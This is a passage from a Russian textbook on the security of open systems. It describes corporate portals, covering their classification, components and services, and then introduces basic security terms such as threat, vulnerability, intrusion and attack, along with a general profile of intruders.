Подводя итог приведенному обзору, определим портал как комплекс аппаратных и программных средств, представленный единым входом в виде веб-узла и организованный для объединения различных сетевых ресурсов и сервисов, обеспечивающих персонализированное обслуживание целевой аудитории и ее коллективную работу.
Основная функция портала, как и у интранета, - это информационное обеспечение его пользователей. Это и понятно - ведь именно портал чаще всего в настоящее время и является единой точкой доступа к ресурсам интранета. Другие функциональные возможности тоже практически идентичны тем, которые ранее были указаны для интранета.
1.	Интеграция данных и приложений (новых и унаследованных).
2.	Визуализация информации при помощи веб-браузера, благодаря чему исчезает необходимость в установке и поддержке "тяжелых" клиентских приложений.
116
Информационная безопасность открытых систем
3.	Гибкость, масштабируемость и открытость создаваемых решений, которые достигаются благодаря использованию XML и Java; быстрое и легкое внедрение, оптимизация и персонификация.
4.	Единый и настраиваемый интерфейс работы с данными и приложениями; возможность входа в портал из различных систем, в том числе территориально удаленных.
5.	Реализация системы на основе технологий Java и XML, что обеспечивает переносимость и независимость приложений от операционных систем сервера и клиента. Хранение и передача данных происходит с помощью языка XML, специально созданного для организации взаимодействия с различными приложениями. Формат данных в XML не зависит от способа его дальнейшей визуализации - за это отвечают хранимые отдельно файлы таблицы стилей, которые преобразуют файлы XML для их представления в веб-страницы.
6.	Создание в процессе интеграции пользовательских веб-интерфейсов к корпоративным приложениям. При дальнейшем развитии системы обеспечивается не только доступ для чтения данных, но и полноценный документооборот.
7.	Безопасность и защита информации обеспечиваются единой точкой входа, каталога и разделением прав доступа. База описаний пользователей также хранится в едином кросс-платформенном каталоге, что создает унифицированную систему безопасности для всех приложений.
Как правило, порталы обладают открытой архитектурой, позволяющей расширять их функциональность за счет добавления сторонних приложений или дополнительных компонентов. Отметим, что чаще всего такими компонентами оказываются средства управления информационным наполнением, поэтому обычно такие средства выпускаются производителями порталов или просто входят в состав последних.
Серьезная потребность в построении порталов возникла при переходе от обычных корпоративных БД к распределенным в связи с необходимостью систематизировать и усовершенствовать информационные хранилища компании. Тогда руководители поняли, что без единого информационного пространства, позволяющего и посетителям и сотрудникам работать с данными компании и совместно пользоваться аналитическими приложениями в режиме реального времени, не обойтись.
С чего же обычно начинается создание портала? Как видно из нижеприведенного перечня стартовых этапов, они соответствуют аналогичным, возникающим при создании интранета.
	Выделяется целевая пользовательская аудитория.
	Проводится интервьюирование и обследование потребностей пользователей.
	Проектируется модель информационного наполнения портала.
	Идентифицируются источники информации.
	Осуществляется интеграция информационных потоков.
	Уточняется и утверждается информационная стратегия.
При этом основными требованиями, предъявляемыми к порталам, являются следующие [http://www.cmsinfo.ru/contentid-39.html]:
	обслуживание большого числа пользователей;
	широкий спектр информации;
	поддержка основных сетевых форматов;
2. Интранет как открытая система
117
	возможности персонализации (настройка рабочего места пользователя в соответствии с его индивидуальными запросами, привычками и требованиями);
	возможности поиска - реализация удобных и эффективных поисковых механизмов, используя в качестве источников различные информационные ресурсы (структурированные, неструктурированные, метаданные), и оценка достоверности и полноты полученных данных;
	обеспечение защиты хранящейся информации, используя программные и физические способы обеспечения безопасности (установление подлинности, управление доступом, конфиденциальность и целостность данных и т. д.);
	интеграция - обеспечение возможности взаимодействия сотрудников компании со всеми приложениями и информационными ресурсами (в соответствии с их приоритетом) через единый интерфейс;
	разбивка хранимой информации на категории (так называемый процесс категоризации);
	автоматизированные процедуры категоризации результатов индивидуального поиска;
	наличие приложения интеллектуального анализа (так называемые системы управления знаниями).
2.4.1. Классификация порталов
Классифицировать порталы можно с точки зрения либо их технического исполнения, либо их целевой аудитории и структурированности информационного наполнения [32, 33].
С точки зрения технического исполнения порталы делятся на следующие классы:
	мегапортал;
	информационный, который предоставляет информацию;
	корпоративный, который координируют контент в рамках относительно узкого сообщества пользователей, объединенных общими целями и задачами;
	коммерческий, который обеспечивает предоставление узконаправленной информации определенной целевой аудитории;
	вертикальный (специализированный), имеющий узкую тематическую направленность;
	горизонтальный (универсальный), носящий общий характер;
	торговый, создаваемый для объединения веб-узлов поставщиков и покупателей и централизации документооборота между ними [электронные транзакции проходят через электронные торговые площадки (marketplaces), соединяющие покупателей и поставщиков по "звездообразной" топологии];
	портал публикации информации, ориентированный на большие, разнородные сообщества пользователей с разнородными интересами (содержит немного элементов персонификации контента и предлагает только базовые средства поиска и интерактивного взаимодействия, ориентированные на неискушенного пользователя Web);
	портал приложений;
	портал управления;
	портал для совместной работы, который обеспечивает все мыслимые средства взаимодействия людей с использованием компьютерных технологий;
118
Информационная безопасность открытых систем
	портал знаний, который комбинируют все перечисленные выше типы и обеспечивает доставку персонифицированной информации с учетом конкретной работы, которую выполняет каждый пользователь в определенный момент времени, и др.
С точки зрения целевой аудитории и структурированности информационного наполнения сети порталы бывают общедоступными, персонально-групповыми и корпоративными.
Общедоступные (потребительские) порталы (типа Rambler, Yahoo, Google, InfoArt и т. д.) отличаются слабой структурированностью информации, и их целевая аудитория не ограничена. Такие порталы создаются для организации удобной работы в сети со ссылками на различные узлы. Они предоставляют своим пользователям поисковые возможности, ленты новостей, биржевые сводки, прогнозы погоды, услуги e-mail, сервисы для планирования времени, ведения баз данных адресов и дат. Существуют такие порталы за счет рекламной деятельности. Их нередко называют мегапорталами или информационными порталами.
Целевой аудиторией персонально-групповых порталов (Enfish, Му Yahoo! и др.) являются отдельные индивидуумы или группы пользователей, объединенные общим интересом, задачей. В функции таких порталов входит поддержка электронной почты, удаленное хранение и обработка персональной информации. Их роль возрастет с появлением виртуальных рабочих мест, физически удаленных от предприятия. Персональные порталы могут быть реализованы как автономный узел либо входить в состав корпоративного или общедоступного портала, обеспечивая узконаправленную, глубоко персонализированную и интеллектуально структурированную переработку информации. Эти порталы используют разные бизнес-модели, включая получение дохода от платной подписки, участия в прибыли, размещения рекламы, продажи уникального информационного контента, услуг мобильной и мультимедийной коммуникации и т. д.
КП - это единая ИС организации, обеспечивающая хранение, обработку, анализ и разграничение прав доступа к структурированным и неструктурированным данным, используемым во внутренних и внешних бизнес-процессах. Такие порталы создаются для организации единого информационного пространства внутри компании и включают в себя вертикальные и горизонтальные порталы и порталы приложений. Этот вид порталов в научной литературе пока не получил единого названия и поэтому можно встретить его различные наименования: корпоративный портал (corporate portal); бизнес-портал (business portal); интеллектуальный бизнес-портал (business intelligence portal); корпоративный интранет-портал (enterprise intranet portal, EIP) на базе интранета. Из определения КП следует, что он интегрирует приложения внутрикорпоративные (программы электронной почты, системы управления документами и БД) и внешние (службы новостей, потребительские веб-узлы и пр.), а также сочетает в себе функциональность интранета/экстранета и Интернет-ориентацию веб-представительства организации.
В некоторых публикациях предлагается более детальная классификация КП, подразделяющая их [34]:
	на порталы, представляющие результаты анализа данных (Business intelligence portals);
	внутрикорпоративные интранет-порталы (Business area portals);
2. Интранет как открытая система
119
	порталы для организации групповой работы (Enterprise Collaborative Portals);
•	порталы, предназначенные для управления знаниями (Enterprise Knowledge Portals);
	ролевые порталы (Role portals), поддерживающие три бизнес-модели - В2Е, В2С и В2В.
Согласно исследованиям аналитической компании Gartner Group назначение КП отражается такими тремя основными решаемыми с его помощью задачами:
1)	интеграция информационных ресурсов и доставка сотрудникам важной информации;
2)	организация совместной работы пользователей над документами и предоставление коллективных услуг;
3)	доступ к корпоративной информации, сервисам и приложениям в соответствии с предоставленными пользователям полномочиями и решаемыми задачами.
Согласно этим же исследованиям первое поколение КП имеет следующие характеристики:
	поиск и индексирование широкого набора информационных репозитариев;
	категоризация информационного наполнения;
	управление информационным наполнением и его агрегация;
	персонализация;
	высокоэффективная разработка приложений и возможность интеграции с другими приложениями.
Для второго поколения КП, применяемых в качестве составляющей части электронного бизнеса, характерны:
•	надежная среда реализации приложений;
•	мощные и гибкие инструменты разработки приложений;
•	широкие возможности в области интеграции приложений;
•	соответствие требованиям к информационным системам масштаба предприятия;
	поддержка интеграции с другими приложениями и информационными системами партнеров;
	поддержка мобильного/беспроводного доступа к данным.
Функциональные особенности КП заключаются в следующем:
	единый виртуальный каталог хранения корпоративной информации;
•	универсальный метод доступа ко всему множеству корпоративной информации;
	интеграция приложений и данных;
	возможность управления бизнес-процессами;
	гибкая организация коллективной работы;
	использование привычных методов просмотра и поиска информации (через вебинтерфейс);
	поддержка персональных публикаций клиентов системы;
•	прозрачные схемы управления потоками информации и публикации;
•	персонализация рабочих мест пользователей;
	возможность постоянно наращивать сервисы системы;
•	контроль, учет и анализ использования ресурсов пользователями;
•	дистанционное обучение сотрудников корпорации на основе использования ресурсов и сервисов портала.
120
Информационная безопасность открытых систем
Сравнение КП и Интернет-портала позволяет сделать следующие выводы [32]:
	Интернет является слабоструктурированной средой без интеллектуальной обработки знаний (информационного контента), перекладывающей на пользователя основной груз перехода от примитивных к более сложным формам и интеллектуальным методам работы с сетевой информацией.
	КП - это не просто систематический каталог ресурсов, а интегрированная система хранения данных, обеспечивающая единую точку входа.
	Особая защита в Интернете информации и сервисов не предусмотрена, поскольку ценность необработанных данных либо услуг, не затрагивающих интересы пользователя, обычно мала (реальная потребность в защите возникает только с определенного уровня структуризации информационного содержания сетей и внедрения материально значимых услуг).
	Интернет и дальше будет оставаться слабоприбыльным бизнесом ввиду очевидного соотношения: потенциальная прибыль от использования "сырой" информации всегда ниже, чем от обработанной. Интернет-проект лишь тогда становится прибыльным, если есть за что платить и нет опасности переплатить (например, потеря средств из-за взлома зашиты).
В качестве примера приведем возможное наполнение КП одной из компаний. Он может иметь следующие разделы:
1.	Новости компании.
2.	Что делать в экстренных случаях (охрана, проблемы с компьютерной техникой, пожар, другие проблемы).
3.	Конкуренты (краткая информация о конкурентах, сравнительная характеристика, новости конкурентов, персональные досье).
4.	Клиенты (краткое описание, история взаимоотношений, контактные лица в компании, контактные лица у клиентов, "черный список").
5.	Основные проекты компании.
6.	Финансовые показатели.
7.	Профессиональная информация (обзоры и новости сегмента рынка, технологии, ссылки на ресурсы Интернета, полезные советы, форумы и конференции).
8.	Маркетинговая информация (Что надо знать сотрудникам о маркетинговой стратегии Компании, Пресс-релизы, Пресс-клипинг).
9.	Внутренняя информация (структура компании, внутренние правила и корпоративная политика, обязанности сотрудников, адреса, телефоны и дни рождения сотрудников, фотографии и личные странички).
10.	Страница отдела кадров (обучение, тестирование, вакансии компании).
11.	Доска объявлений (для публикации внутренней информации компании).
12.	Информационная система компании (документация, ссылки, структура каталогов и баз данных).
Далее все главы учебника будут ориентированы на рассмотрение именно КП, как наиболее интересного класса порталов.
2.4.2.	Логическая структура и компоненты
Корпоративный информационный портал разделен на две части [34].
	Внутренний портал (интранет), в котором расположена конфиденциальная корпоративная информация, предназначенная для употребления ограниченным числом пользователей (применяется локальная сеть).
2. Интранет как открытая система
121
	Внешний портал, который доступен для общественного использования и в котором расположена публичная информация (применяется Интернет).
В составе типичного КП условно можно выделить три основных функциональных слоя.
1.	Слой базовой инфраструктуры, отвечающий за базовые сервисы, такие, как управление транзакциями, система безопасности, управление порталом и др. Технически он содержит, как правило, сервер приложений, сервер БД и веб-сервер либо несколько подобных серверов.
2.	Слой интеграции приложений, отвечающий за взаимодействие портала со всеми существующими в компании приложениями, такими как СУБД, CRM- и ERP-системы, унаследованные приложения и др.
3.	Слой интерфейсов, включающий в себя средства управления информационным наполнением, интерфейсы для обмена данными с ИС бизнес-партнеров, средства для работы с мобильными и беспроводными устройствами и многое другое. К этому же слою относятся визуальные и невизуальные компоненты порталов, называемые обычно портлетами (портальными апплетами), но иногда имеющие и другие названия (в англ, оригиналах встречаются обозначения Pagelets, Gadgets, iViews и т. д.). Термин "портлет" обозначает небольшое приложение портала, которое обычно изображается на веб-странице как отдельный прямоугольник. Портлеты — это многоразовые компоненты, которые обеспечивают доступ к приложениям, веб-содержимому и другим ресурсам. Через портлеты можно получить доступ к веб-страницам, вебсервисам, приложениям и объединенным источникам информационного наполнения. Заказчики могут строить свои собственные портлеты либо выбирать нужные из каталога портлетов. Каждый отдельный портлет разрабатывается, развертывается, управляется и отображается независимо от других портлетов. Администраторы и конечные пользователи могут создавать персонализированные страницы портала при помощи выбора и настройки соответствующих портлетов, что приводит к появлению полноценных веб-страниц, содержимое которых может быть предназначено конкретным людям или группам.
Логическая структура портала представлена на рис. 23 [31]. Информация, получаемая из различных источников на основе правил предоставления доступа, представляется в виде индексированных текстов и метаданных, среди которых можно проводить отбор для персонализированных клиентов или которые можно просто публиковать с помощью универсальных клиентов.
Из логической структуры следует такая схема работы портала:
1)	в портал из различных источников поступает информация;
2)	портал производит первичное распознание информации и предоставляет доступ к ней;
3)	при использовании систем управления знанием формируются метаданные;
4)	метаданные проходят через "фильтр", установленный и настроенный под собственные требования пользователем, при этом ненужные ему данные отбрасываются;
5)	после этого отфильтрованные данные передаются пользователю.
122
Информационная безопасность открытых систем
Источники информации
Рис. 23. Логическая структура портала
К логическим компонентам портала относятся следующие элементы [31, http.7/www.e-commerce.ru/biz_tech/implementation/management/corp_portals.html] (схема взаимодействия этих компонентов портала представлена на рис. 24).
тал интранета
Подсистема информационной безопасности
Корпоративный по э
Подсистема поиска информационны) ресурсов	Подсистема персонифицированного представления информационны) ресурсов	Подсистема подготовки и унифицированного отображения информационных ресурсов
Подсистема управления и оптимизации загрузки, обеспечения информационного обмена
Информационные ресурсы
Пользователи КПИ
Администратор информационной безопасности КПИ
Рис. 24. Схема взаимодействия компонентов портала
Приложения - это обычный навигатор для доступа к страницам в формате, например HTML. Домашняя страница может быть адаптирована к потребностям определенного пользователя, т. е. настроена на получение того типа отчетов, документов и данных, которые ему нужны и на получение которых он авторизован. К этому может быть добавлен механизм поиска по ключевым словам и другие традиционные инструменты навигатора.
Репозиторий хранит метаданные об информационных объектах, пользователях, рабочих группах и информационных каналах. Метаданные указывают тип объекта, раздел, к которому он принадлежит, формат хранения, местоположение.
Подсистема публикации и подписки. Пользователи могут публиковать собственные документы и осуществлять подписку на существующие источники.
2. Интранет как открытая система
123
Механизм фильтрации данных по заданным правилам фильтрует и сортирует объекты по типу, формату или другим признакам. Он может направлять пользователю информацию о новых объектах и об изменениях в уже имеющихся, актуализируя доступные ему источники.
Механизм анализа и планирования бизнес-процессов (Enterprise Resource Planning, ERP) обеспечивает поддержку анализа данных средствами реляционных и многомерных OLAP-систем (систем оперативной аналитической обработкой, On-line Analytical Processing) и других аналогичных систем.
Драйверы данных предназначены для связи с реляционными и многомерными СУБД различного рода библиотеками и другими возможными источниками информации.
Приложения интеллектуального анализа или система управления знаниями (Knowledge Management) - это средства структурирования и категоризация неучтенных данных (например, затерянные в почтовых ящиках), формирования удобных механизмов доступа к ним и на основе специальных аналитических методов конструирования отчетов о собранной информации.
Принцип работы используется при аннотировании документов, формировании на базе аннотаций метаданных и при их размещении в информационном хранилище вместе со ссылками на исходный документ (кроме того, устанавливается язык документа, его тема, дата создания и принадлежность). Одновременно создаются словари или БД терминов и других атрибутов с указанием их источника.
Результатом деятельности является разбиение текстового документа на связанные категории, что реализуется посредством эвристического анализа смысловой и терминологической близости распределяемых по иерархическим рубрикам текстов.
Модуль управления связью с клиентами (Customer Relationship Management, CRM). Может входить в систему ERP; обеспечивает объединение front и back-office компании, позволяя сформировать информационную базу с данными о клиентах, службу информационной поддержки клиентов, настраивать КП под требования клиента (например, выдавать пользователю список информации, основываясь на прошлых обращениях) и т. д. При этом значительно повышается потенциал front-office, упорядочивается процесс документооборота с оппонентом, производится исследование предпочтений покупателей. Основная функция CRM - это "удержание” клиента (по мнению экспертов, "удержание" 5 % покупателей дает прирост прибыли на 25-125 %).
Обеспечение безопасности доступа включает обычные для защитных систем средства шифрования, аутентификации и управления сессиями.
2.4.3. Схема портала
Обобщая приведенные ранее структуры и схемы, изобразим более подробную схему портала (рис. 25 [32]).
Обработка источников информации осуществляется в портале портлетами, вид которых зависит от характера источников, с которыми они работают. Портлет интерпретирует запросы пользователя, обращается к внешним источникам и подготавливает информацию для визуализации на портале.
В качестве входных данных портлет получает информацию о пользователе и его правах доступа. Результат работы портлета - описание данных (например, на языке
124
Информационная безопасность открытых систем
XML), которое впоследствии трансформируется (форматируется) с учетом типа клиента применяемого пользователем (веб-браузер, мобильные устройства и т. д.).
Рис. 25. Схема портала
В случае слабоструктурированной информации портлеты обрабатывают наборы документов, архивы сообщений, веб-страницы и ссылки, поступающие в реальном времени данные. Если необходима структурированная информация, то портлеты используют методы, применяемые при обработке хранилищ данных, корпоративных приложений, методы категорирования и интеллектуальной обработки знаний.
Возможна также обработка источников в виде событий и процессов, включая процессы коллективного взаимодействия. Запросы к метаданным и портлетам через службу доступа поступают непосредственно к ним или через машину поиска. До браузера пользователя и веб-сервера запрашиваемая информация проходит через службы персонализации, представления, управления сессиями и защищенной передачи по сети.
2.4.4. Базовые сервисы портала
Сервисом портала будем называть доступные через внешний интерфейс или внутренние (программные) интерфейсы портала, реализованные в его составе про
2. Интранет как открытая система
125
граммные средства, основная задача которых помогать пользователям удобно и эффективно выполнять требуемые им операции над содержимым разделов портала и применять его ресурсы.
Службой портала будем называть функциональную подсистему портала, доступную через внутренние интерфейсы и используемую несколькими функциональными подсистемами (сервисами) портала. Примерами сервисов являются системы новостей и форумов, информационного поиска и персонализации. В качестве примера служб можно упомянуть службу аутентификации и авторизации доступа к содержимому портала.
Следует отметить, что состав служб и сервисов портала может расширяться. Возможно как добавление новых служб, так и новых специализаций (версий, предназначенных для работы в специфических условиях) существующих служб [35].
Можно выделить ряд базовых (разрабатываемых при начальной реализации) сервисов, предоставляемых порталом [35, 36]:
	пользовательские сервисы;
	информационные сервисы;
	сервисы доступа через веб-интерфейсы;
	интерактивные сервисы;
	корпоративные сервисы;
	сервисы доступа к корпоративным документам;
	сервисы мониторинга и статистики.
1. Пользовательские сервисы. Они состоят из сервисов, позволяющих осуществлять персонализацию представления информации на страницах портала для сотрудников, и сервисов, обеспечивающих безопасный доступ к корпоративным ресурсам (с авторизацией и установлением прав доступа пользователей портала). Также сюда относятся сервисы поиска и навигации, состоящие из средств работы с моделируемым иерархическим каталогом (рубрикатором) ресурсов и объектов, карты портала и поисковой системы по внутренним (входящим в систему порталов) и внешним информационным ресурсам.
Первая группа сервисов отвечает за персональную настройку информационного содержания страниц портала пользователем и настройку информационного содержания для подразделений и дочерних предприятий. Сервис управления профилем пользователя и настройки персонального (индивидуального или корпоративного) портала пользователя предоставляет средства для настройки персональных данных пользователя, средства предоставления ему персонального календаря и набора электронных словарей, средства поддержки создания персональной страницы и персональной настройки внешнего вида персонального (индивидуального) или корпоративного портала образовательной организации, средства организации удобной персональной системы закладок, средства персонализации сервисов поиска, новостей и трансляций и пр.
Вторая группа сервисов представляет собой централизованную систему управления доступом к ресурсам КП и осуществляет поддержку авторизации через, например, права в NT-домене, облегченный протокол доступа к сетевому каталогу LDAP, назначение прав доступа группам и отдельным пользователям и анализ применения ресурсов портала сотрудниками и подразделениями. В состав сервисов поиска и навигации входят средства работы с моделируемым иерархическим каталогом (рубри
126
Информационная безопасность открытых систем
катором) ресурсов и объектов, карта портала и поисковая система по внутренним (входящим в систему порталов) и внешним информационным ресурсам. Приведем ряд замечаний относительно возможных решений вопросов безопасности.
	Возможна авторизация пользователей, например на основе прав NT-домена или LDAP-сервера.
	Если нельзя применить NT/LDAP, то возможно создание отдельного реестра прав сотрудников.
	Если у каждого сотрудника разные пароли для доступа к документам, базам данных, финансовым приложениям, почте и т. п., т. е. возможность авторизации на уровне отдельных приложений (content level authorization), логин и пароль передаются приложению через специальный интерфейс, а права определяются по результатам ответа приложения.
	Интеграция авторизации пользователей на основе прав доступа в различных системах должна рассматриваться в каждом случае отдельно.
	Права доступа сотрудников при входе в портал определяют набор доступных им сервисов и информации. Не должно быть ограничений на количество уровней доступа.
	Персонализация сервисов и информационного содержания страниц портала в соответствии с потребностями отдельных сотрудников или группы пользователей (может быть создан профайл для корпоративных отделов).
	Системы анализа применения ресурсов портала сотрудниками и подразделениями оценивают, как часто сотрудники пользуются теми или иными разделами портала, что им наиболее необходимо в работе. Такая статистика нужна для реорганизации сервисов портала и уточнения требований к его информационному наполнению.
2.	Информационные сервисы. В состав информационных сервисов входит единая система новостей, единая баннерная сеть портала и сервис трансляции обновлений, обеспечивающий отслеживание всех изменений определенных разделов портала и подготовку информации о таких изменениях для пользователей портала. Средства поддержки экспорта и импорта информационных и функциональных ресурсов (содержания и сервисов) портала предназначены для поддержки интеграции в структуру портала внешних ресурсов, а также для поддержки средств создания персонального или корпоративного портала пользователя. Новостные ленты формируются путем круглосуточного сканирования новостных Интернет-узлов, информации новостных агентств и формирование новостной ленты с заданным периодом обновления. Распределение на персональные блоки новостей происходит на основании описания предпочтений пользователя и фильтрования по ключевым словам содержания сообщений. Внутренние новости компании формируются сканированием ресурсов интранета для отбора новостей и добавлением новостей сотрудниками, ответственными за обновление корпоративной новостной ленты, через специальный интерфейс.
3.	Сервисы доступа через веб-интерфейс. Эти сервисы предоставляют удаленный доступ (УД) к ресурсам интранета с помощью веб-браузера с наследованием прав доступа к файлам из существующей файловой системы. Они позволяют использовать веб-браузеры в качестве тонких клиентов для реализации распределенных приложений, что особенно актуально для задач с большим числом распределенных клиентских подключений. Например, доступ к корпоративным БД и ИС через единый вебинтерфейс (с предварительным просмотром документов в виде гипертекста - файлов,
2. Интранет как открытая система
127
что позволяет сначала определить необходимый документ и только потом загрузить его с удаленного сервера). Через веб-интерфейс также подключается электронная почта и при необходимости осуществляется передача сообщений на пейджер и сотовый телефон.
4.	Интерактивные сервисы. К сервисам интерактивного общения пользователей относятся единая система форумов, система проведения опросов и голосований, электронные доски объявлений и сервис рассылок. Примерами таких сервисов также являются средства поддержки очного обучения и повышения квалификации персонала, систем дистанционного обучения и тестирования (сертификации), а также системы информационной поддержки обучаемых.
5.	Корпоративные сервисы. Эти сервисы реализуют бизнес-процессы компании, для которых характерна удаленная или распределенная деятельность и необходимо отслеживание промежуточных результатов. Простейший пример - оформление различных заявок (например, на вход в здание) и отслеживание их прохождения через веб-интерфейс. Более сложный пример - банковские проводки.
6.	Сервисы доступа к корпоративным документам. Основное назначение этих сервисов - создание единого каталога для доступа к корпоративным документам. Каталог - это иерархически организованные записи о документах по разделам со ссылками на место хранения этих документов в интранете. Каталог позволяет:
	организовать единый регламент доступа к документам;
	сделать доступ к документам максимально удобным и легким через единый вебинтерфейс;
	создать единую информационную базу корпорации;
	осуществлять простую поддержку резервного хранения и восстановления после системных сбоев.
Сервисы доступа реализуют следующие основные функции для работы с документами:
	аутентификацию и авторизацию пользователей;
	визуализацию дерева каталога;
	эффективный поиск документов по аннотациям;
	возможность предварительного просмотра документов в формате гипертекстового файла;
	публикацию документов пользователями через веб-браузер с интуитивно понятным интерфейсом;
	классификацию документов по каталогу при публикации;
	возможность группировки документов при публикации (групповые документы);
	хранение истории изменения документов и записей о лицах, внесших изменения;
	групповую работу над документами;
	аудит всех событий, связанных с доступом.
7.	Сервис мониторинга и статистики предоставляет администраторам портала средства контроля и анализа нагрузки на аппаратные ресурсы портала и средства статистики обращений к различным разделам портала.
128
Информационная безопасность открытых систем
Вопросы для самоконтроля к гл. 2
1.	Дайте определение интранету. Каковы его основные отличия от локальной сети?
2.	Какие преимущества для организации предоставляет интранет?
3.	Из каких элементов состоит архитектура интранета?
4.	Опишите эталонную модель интранета.
5.	Какие базовые механизмы выделяют для интранета? Каковы их функции?
6.	Какие базовые сервисы интранета вам известны? В чем их назначение?
7.	Перечислите и кратко охарактеризуйте этапы создания интранета.
8.	Что такое сетевая инфраструктура интранета? Какие элементы в нее входят?
9.	Из чего складывается информационное наполнение интранета?
10.	Какие типы приложений используются в интранете?
11.	Какие функции и какими средствами выполняет система публикации информации для интранета?
12.	Каковы особенности управления интранетом?
13.	Какой новый персонал требуется для поддержки функционирования интранет? Каковы его примерные обязанности?
14.	Какие виды интранета вам известны?
15.	Расскажите о стандартах создания интранета.
16.	Каково место внутренней информационной среды предприятия в модели глобальной коммуникационной инфраструктуры?
17.	Для каких целей в модели TOGAF вводится понятие организационного континуума? Из каких составляющих оно слагается?
18.	Покажите, что интранет является частью среды открытых систем.
19.	Что такое экстранет?
20.	Дайте определение портала. Охарактеризуйте его основные функции.
21.	Рассмотрите известные классификации порталов. В чем особенности КП?
22.	Какова логическая структура и компоненты КП?
23.	Нарисуйте и прокомментируйте схему КП.
24.	Рассмотрите базовые сервисы КП.
3. УЯЗВИМОСТЬ ОТКРЫТЫХ СИСТЕМ
НА ПРИМЕРЕ ИНТРАНЕТА
В главе вводится понятийный аппарат, используемый при дальнейшем изложении, а именно определения угроз, уязвимостей и атак. Далее рассматриваются виды вторжений в открытые системы и типы нарушителей, совершающих их. Определяются виды организаций, сети которых наиболее уязвимы для атак злоумышленников. Подробно анализируются способствующие атакам причины, которые можно разделить на пять классов: уязвимость архитектуры клиент-сервер; слабости в системных утилитах, командах и сетевых сервисах; слабости в современных технологиях программирования; ошибки ПО и распространяющиеся по открытым сетям сетевые вирусы. Отдельно описываются уязвимости рабочих станций и различных серверов (почтовых и веб -серверов, СУБД, систем электронного документооборота и т. п.), а также каналообразующего оборудования
3.1. Основные понятия
Дадим определения основных понятий, которыми в дальнейшем будем пользоваться при рассмотрении вопросов защиты в открытых сетях.
Под термином "информационная безопасность", согласно определению Гостехкомиссии при Президенте РФ, понимают состояние защищенности информации, обрабатываемой средствами вычислительной техники или автоматизированной системы, от внутренних или внешних угроз: от нежелательного ее разглашения (нарушения конфиденциальности), искажения (нарушения целостности), утраты или снижения степени доступности информации, а также ее незаконного тиражирования, которые приводят к материальному или моральному ущербу владельца или пользователя информации [37].
Угрозы (threats) — потенциально возможные событие, действие или процесс, которые посредством воздействия на компоненты системы могут привести к нанесению ущерба. Это также и люди или группы людей, способные взломать компьютерную систему [38]. Это может быть любопытный подросток, рассерженный служащий или шпион конкурирующей компании или иностранного правительства. Наличие угрозы необязательно означает, что она реализуется и нанесет вред.
Уязвимость (vulnerability) - любая характеристика или свойство системы, использование которой нарушителем может привести к реализации угрозы. Иными словами, это слабые места в системах [38]. Уязвимости могут использоваться для компрометации (взлома) систем.
Вторжение (intrusion) - процесс попытки несанкционированного проникновения в какую-либо систему. Под вторжением может пониматься любое действие нарушителя, приводящее к реализации угрозы путем использования уязвимостей. Поэтому это реализовавшаяся угроза.
Атака (attack) - это событие (момент), при котором злоумышленник проникает внутрь системы или совершает по отношению к ней какое-либо несанкционированное действие. Атака является результатом вторжения.
Далее нас будут интересовать сам процесс вторжения и его результат, что для простоты изложения будем обозначать единым термином "атака" (в силу их большой взаимозависимости).
Слово злоупотребление (misuse) имеет широкое толкование и может отражать различные события, начиная от кражи конфиденциальных данных и заканчивая засорением спэмом, т. е. бесполезной, незапрашиваемой корреспонденцией (от англ.
5—2368
130
Информационная безопасность открытых систем
spam), почтовой системы. Злоупотребление определяет действие, которое нарушает стратегию использования сети (например, посещение порносайтов), в то время как вторжение определяет действие, которое указывает на то, что кто-то атакует и ставит под угрозу защиту сети.
Обнаружение вторжений (OB) (intrusion detection) - это процесс обнаружения несоответствующих, неправильных или аномальных действий и событий в сетях [38].
Также вводится различие между обнаружением вторжений и обнаружением неправильного использования сети. Термин "вторжение" применяется для описания нападений на сеть извне, в то время как термин "злоупотребление" описывает атаки, исходящие из самой внутренней сети. Злоупотребление начинается после первоначального санкционированного входа в сеть.
Информационная система, для которой проводится обнаружение вторжений, может быть любым объектом - рабочей станцией, сетевым элементом, сервером, мейнфреймом, МЭ, веб-сервером и т. п.
Средства ОВ — это средства, помогающие управлять угрозами и уязвимостями в постоянно меняющейся сетевой среде.
Система обнаружения вторжений (Intrusion Detection System, IDS) — это система, предназначенная для обнаружения вторжений [39].
Аудит означает получение информации о системе, касающейся ее внутренней работы и поведения. Примеры аудита не ограничиваются только работой с учетными записями (бюджетами), syslog для Unix-платформ, event log в Windows NT и incident tickets в сетях передачи данных Х.25.
Риск нарушения ИБ (security risk) — фактор, отражающий возможный ущерб организации в результате реализации угрозы ИБ.
Наглядная взаимосвязь введенных выше понятий представлена на рис. 26 [40] (пунктирной линией обозначены управляющие воздействия, непрерывной - естественные воздействия). Эта модель основана на адаптации общих критериев (ISO 15408) и проведении анализа риска (ISO 17799) и соответствует специальным нормативным документам по обеспечению информационной безопасности, принятым в Российской Федерации, международному стандарту ISO/IEC 15408 "Информационная технология - методы защиты - критерии оценки информационной безопасности", стандарту ISO/IEC 17799 "Управление информационной безопасностью" и учитывает тенденции развития отечественной нормативной базы (в частности, Гостехкомиссии РФ) по вопросам защиты информации.
Есть два основных типа нарушителей (intruder) ИБ в сетях: хакер (hacker) и взломщик (cracker). Хакер — это человек, который хочет вмешаться в события, происходящие в компьютерной системе. Добрый хакер - это человек, которому нравится проникать в собственный компьютер, чтобы пытаться понять, каким образом он работает, или в компьютеры других сетей с целью обнаружения известных уязвимостей и их закрытия или информирования о них соответствующего сетевого администратора. Взломщик отличается от хакера тем, что он разрушает все на своем пути.
Исследования показали, что типичный нарушитель - это обычно молодой человек в возрасте от 16 до 25 лет. Такие нарушители часто начинают интересоваться взломом компьютеров и сетей с целью применения своих знаний и совершенствования навыков или для использования сетевых ресурсов для своих нужд. Большинство атакующих достаточно постоянны в осуществлении атак, что определяется большим ко
3. Уязвимость открытых систем на примере интранета	131
личеством свободного времени, которым они располагают. Многие из них - это оппозиционеры по своему духу. Они применяют сканеры для проверки огромного количества хостов удаленных систем с целью выявления в них уязвимых мест (под хостом понимается компьютер с уникальным IP-адресом). Кроме определения хостов и сетей, уязвимых для удаленных атак (УА), нарушители часто получают доступ к хосту, разрешенный, например, для пользователя с именем root (что верно для ряда Unix-платформ и уже невозможно, например, для Power Secure Unix фирмы Harris), а далее для проникновения в систему устанавливают специальные встроенные "люки" и захватывают хост, проникая на него через известные для удаленного входа слабые места. При этом другие атакующие для входа на те же хосты используют уже другие популярные методики получения доступа.
Рис. 26. Взаимосвязь основных понятий информационной безопасности
